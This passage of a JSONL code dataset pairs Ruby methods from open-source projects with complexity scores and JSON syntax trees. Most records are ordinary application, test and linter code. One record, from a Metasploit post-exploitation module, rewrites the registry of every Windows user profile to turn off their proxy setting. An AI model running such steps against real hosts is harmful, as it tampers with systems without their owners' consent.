}]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"format_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]}]}]}]}]}","id":"c47692df-971e-4dd1-b4f9-eeccf4b5b59c"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/process_localized_cooked.rb","start_line":5,"raw_source":"def execute(args)\n      DistributedMutex.synchronize(\n        \"process_localized_cook_#{args[:post_localization_id]}\",\n        validity: 10.minutes,\n      ) do\n        post_localization = PostLocalization.find_by(id: args[:post_localization_id])\n        return if post_localization.blank?\n\n        post = post_localization.post\n        return if post.blank? || post.topic.blank?\n        original_cooked = post_localization.cooked\n\n        processor = LocalizedCookedPostProcessor.new(post_localization, post, {})\n        processor.post_process\n        cooked = processor.html\n\n        if cooked != original_cooked && cooked.present?\n          post_localization.update_column(:cooked, cooked)\n          MessageBus.publish(\"/topic/#{post.topic_id}\", type: :localized, id: post.id)\n        end\n      end\n    end","complexity_score":39.25,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DistributedMutex\"]},\"synchronize\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"process_localized_cook_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_localization_id\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"minutes\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_localization\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostLocalization\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_localization_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_localization\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_localization\"]},\"post\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"original_cooked\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_localization\"]},\"cooked\"]}]},{\"type\":\"lvasgn\",\"children\":[\"processor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LocalizedCookedPostProcessor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"post_localization\"]},{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processor\"]},\"post_process\"]},{\"type\":\"lvasgn\",\"children\":[\"cooked\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processor\"]},\"html\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cooked\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"original_cooked\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cooked\"]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_localization\"]},\"update_column\",{\"type\":\"sym\",\"children\":[\"cooked\"]},{\"type\":\"lvar\",\"children\":[\"cooked\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/topic/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic_id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"localized\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]}]}]}]},null]}]}]}]}","id":"6a92baed-dfc9-4810-ba76-09c1262662ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/pipelines_controller.rb","start_line":131,"raw_source":"def destroy\n    ::Ci::DestroyPipelineService.new(project, current_user).execute(pipeline)\n\n    redirect_to project_pipelines_path(project), status: :see_other\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"DestroyPipelineService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\",{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"project_pipelines_path\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}","id":"18485314-5be4-45df-9148-bb1f52d28369"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/inclusive_language.rb","start_line":169,"raw_source":"def extract_regexp(term, term_definition)\n          return term_definition['Regex'] if term_definition['Regex']\n          return /(?:\\b|(?<=[\\W_]))#{term}(?:\\b|(?=[\\W_]))/ if term_definition['WholeWord']\n\n          term\n        end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_regexp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"term\"]},{\"type\":\"arg\",\"children\":[\"term_definition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term_definition\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Regex\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term_definition\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Regex\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term_definition\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WholeWord\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?:\\\\b|(?<=[\\\\W_]))\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term\"]}]},{\"type\":\"str\",\"children\":[\"(?:\\\\b|(?=[\\\\W_]))\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"term\"]}]}]}","id":"4236064e-9ad0-4700-8102-ebdc5f1a0d60"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/spec/features/support/board_list_page.rb","start_line":100,"raw_source":"def expect_to_be_on_page(number)\n      expect(page).to have_css(\".op-pagination--item_current\", text: number)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_to_be_on_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".op-pagination--item_current\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}]}]}]}","id":"0ee461ef-57df-4ea7-ab18-bbf03f57da82"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_nested_attributes_bypass.rb","start_line":32,"raw_source":"def warn_about_nested_attributes model, args\n    message = msg(msg_version(rails_version), \" does not call \", msg_code(\":reject_if\"), \" option when \", msg_code(\":allow_destroy\"), \" is \", msg_code(\"false\"), \" \", msg_cve(\"CVE-2015-7577\"))\n\n    warn :model => model,\n      :warning_type => \"Nested Attributes\",\n      :warning_code => :CVE_2015_7577,\n      :message => message,\n      :file => model.file,\n      :line => args.line,\n      :confidence => :medium,\n      :link_path => \"https://groups.google.com/d/msg/rubyonrails-security/cawsWcQ6c8g/tegZtYdbFQAJ\",\n      :cwe_id => [284]\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"warn_about_nested_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"send\",\"children\":[null,\"rails_version\"]}]},{\"type\":\"str\",\"children\":[\" does not call \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\":reject_if\"]}]},{\"type\":\"str\",\"children\":[\" option when \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\":allow_destroy\"]}]},{\"type\":\"str\",\"children\":[\" is \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"send\",\"children\":[null,\"msg_cve\",{\"type\":\"str\",\"children\":[\"CVE-2015-7577\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Nested Attributes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"CVE_2015_7577\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"line\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"sym\",\"children\":[\"medium\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/msg/rubyonrails-security/cawsWcQ6c8g/tegZtYdbFQAJ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[284]}]}]}]}]}]}]}","id":"31cc7cb3-98c3-47f2-9130-4c509200271e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/cli_tools_distributor.rb","start_line":157,"raw_source":"def process_emojis(tool_name)\n        return {\n          \"🚀\" => \"fastlane\",\n          \"💪\" => \"gym\"\n        }[tool_name] || tool_name\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_emojis\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool_name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"🚀\"]},{\"type\":\"str\",\"children\":[\"fastlane\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"💪\"]},{\"type\":\"str\",\"children\":[\"gym\"]}]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"tool_name\"]}]},{\"type\":\"lvar\",\"children\":[\"tool_name\"]}]}]}]}","id":"c6d53a62-a407-40d8-9d91-afb240d5edc3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/git_worktree.rb","start_line":444,"raw_source":"def get_tree_entry(path)\n    path = path[1..-1] if path[0] == '/'\n    tree = lookup_commit_tree\n    begin\n      entry             = tree.path(path)\n      entry[:full_name] = File.join(@base_name, path)\n      entry[:rel_path]  = path\n    rescue\n      return nil\n    end\n    entry\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_tree_entry\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tree\",{\"type\":\"send\",\"children\":[null,\"lookup_commit_tree\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tree\"]},\"path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"full_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@base_name\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"rel_path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}","id":"5dcc7b87-48d6-4d88-970a-8aa27cd3db9f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/notification_helpers.rb","start_line":35,"raw_source":"def update_custom_notification(event, user, resource: nil, value: true)\n    setting = user.notification_settings_for(resource)\n    setting.update!(event => value)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_custom_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"resource\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"value\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"setting\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"notification_settings_for\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"22129eee-e819-403e-bd94-078eec0719bd"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/report/base_report.rb","start_line":43,"raw_source":"def add_examiner(examiner)\n        self.total_smell_count += examiner.smells_count\n        examiners << examiner\n        self\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_examiner\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"examiner\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"total_smell_count\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"examiner\"]},\"smells_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"examiners\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"examiner\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"7208dc4d-c2f2-4a68-be90-e6958eb4e559"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/update_ancestors_service.rb","start_line":229,"raw_source":"def no_children?(work_package, loader)\n    loader.descendants_of(work_package).none?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"no_children?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"descendants_of\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},\"none?\"]}]}","id":"92320955-50e5-4739-b908-54ff7ae89cdc"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/class_structure.rb","start_line":363,"raw_source":"def buffer\n          processed_source.buffer\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"buffer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"buffer\"]}]}","id":"e4ecebcf-b7da-451a-a8df-ae672be4b14e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/environment_spec.rb","start_line":1116,"raw_source":"def create_deployment_with_stop_action(status, pipeline, stop_action_name)\n        build = create(:ci_build, status, project: project, pipeline: pipeline)\n        stop_action = create(:ci_build, :manual, project: project, pipeline: pipeline, name: stop_action_name)\n        create(:deployment, status, project: project, environment: environment, deployable: build, on_stop: stop_action_name)\n\n        stop_action\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_deployment_with_stop_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"pipeline\"]},{\"type\":\"arg\",\"children\":[\"stop_action_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"build\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"ci_build\"]},{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stop_action\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"ci_build\"]},{\"type\":\"sym\",\"children\":[\"manual\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"stop_action_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"deployment\"]},{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"send\",\"children\":[null,\"environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deployable\"]},{\"type\":\"lvar\",\"children\":[\"build\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_stop\"]},{\"type\":\"lvar\",\"children\":[\"stop_action_name\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"stop_action\"]}]}]}","id":"c84b2401-0eab-4776-8b1b-e53dd1b41e50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/search/found_blob.rb","start_line":74,"raw_source":"def data\n        @data ||= encode_utf8(@binary_data || parsed_content[:binary_data])\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@data\"]},{\"type\":\"send\",\"children\":[null,\"encode_utf8\",{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@binary_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parsed_content\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"binary_data\"]}]}]}]}]}]}","id":"aecbdef0-55ee-45a7-a98b-cebe7ab643e6"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/super_admin/devise/sessions_controller.rb","start_line":16,"raw_source":"def destroy\n    sign_out\n    flash.discard\n    redirect_to '/'\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sign_out\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"discard\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}","id":"311f8aa8-7b0e-49c9-b1c7-88659b222442"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_email_templates.rb","start_line":20,"raw_source":"def click_template(template_name)\n        find(\"td\", text: template_name).click\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"td\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"template_name\"]}]}]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"10c17f2d-ce8c-41ce-a5bb-fe97d2cf9ed9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/ie_proxypac.rb","start_line":157,"raw_source":"def disable_proxy\n    value_enable = 'ProxyEnable'\n    profile = false\n\n    registry_enumkeys('HKU').each do |k|\n      next unless k.include?('S-1-5-21')\n      next if k.include?('_Classes')\n\n      key = \"HKEY_USERS\\\\#{k}\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet\\ Settings\"\n      begin\n        registry_setvaldata(key, value_enable, 0, 'REG_DWORD')\n        profile = true\n      rescue ::RuntimeError, Rex::TimeoutError\n        next\n      end\n    end\n\n    if profile\n      print_good('Proxy disabled.')\n      return true\n    end\n\n    return false\n  end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_proxy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value_enable\",{\"type\":\"str\",\"children\":[\"ProxyEnable\"]}]},{\"type\":\"lvasgn\",\"children\":[\"profile\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_enumkeys\",{\"type\":\"str\",\"children\":[\"HKU\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"include?\",{\"type\":\"str\",\"children\":[\"S-1-5-21\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"include?\",{\"type\":\"str\",\"children\":[\"_Classes\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HKEY_USERS\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_setvaldata\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value_enable\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"REG_DWORD\"]}]},{\"type\":\"lvasgn\",\"children\":[\"profile\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RuntimeError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"TimeoutError\"]}]},null,{\"type\":\"next\",\"children\":[]}]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Proxy disabled.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"11f903c5-c663-43c7-b1c7-c2d5d221174f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/freedom_patches/cose_rsapkcs1.rb","start_line":18,"raw_source":"def initialize(*args, hash_function:)\n        super(*args)\n\n        @hash_function = hash_function\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwarg\",\"children\":[\"hash_function\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@hash_function\",{\"type\":\"lvar\",\"children\":[\"hash_function\"]}]}]}]}","id":"d2ad1d75-853f-4dc7-a1dd-de374fa3b6f5"}
